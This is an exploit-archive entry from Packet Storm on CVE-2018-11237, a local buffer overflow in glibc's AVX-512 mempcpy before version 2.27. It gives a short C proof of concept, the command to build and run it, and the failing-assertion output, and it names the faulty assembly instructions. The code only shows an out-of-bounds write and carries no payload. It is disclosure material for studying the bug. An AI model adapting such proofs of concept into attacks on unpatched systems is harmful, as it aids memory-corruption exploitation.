Lucene search

K
packetstormJameel NabboPACKETSTORM:147870
HistoryMay 24, 2018 - 12:00 a.m.

GNU glibc Local Buffer Overflow

2018-05-2400:00:00
Jameel Nabbo
packetstormsecurity.com
30

0.001 Low

EPSS

Percentile

23.1%

`# Exploit Title: GNU glibc < 2.27 - Local Buffer Overflow  
# Date: 2018-05-24  
# Exploit Author: JameelNabbo  
# Website: jameelnabbo.com <http://jameelnabbo.com/>  
# Vendor Homepage: http://www.gnu.org/ <http://www.gnu.org/>  
# CVE: CVE-2018-11237  
  
  
# POC:  
  
$ cat mempcpy.c  
#define _GNU_SOURCE 1  
#include <string.h>  
#include <assert.h>  
  
#define N 97699  
char a[N];  
char b[N+128];  
  
int  
main (void)  
{  
memset (a, 'x', N);  
char *c = mempcpy (b, a, N);  
assert (*c == 0);  
}  
$ gcc -g mempcpy.c -o mempcpy -fno-builtin-mempcpy  
$ ./mempcpy   
mempcpy: mempcpy.c:14: main: Assertion `*c == 0' failed.  
  
The problem is these two lines in memmove-avx512-no-vzeroupper.S:  
  
vmovups %zmm4, (%rax)  
vmovups %zmm5, 0x40(%rax)  
  
For mempcpy, %rax points to the end of the buffer.  
  
`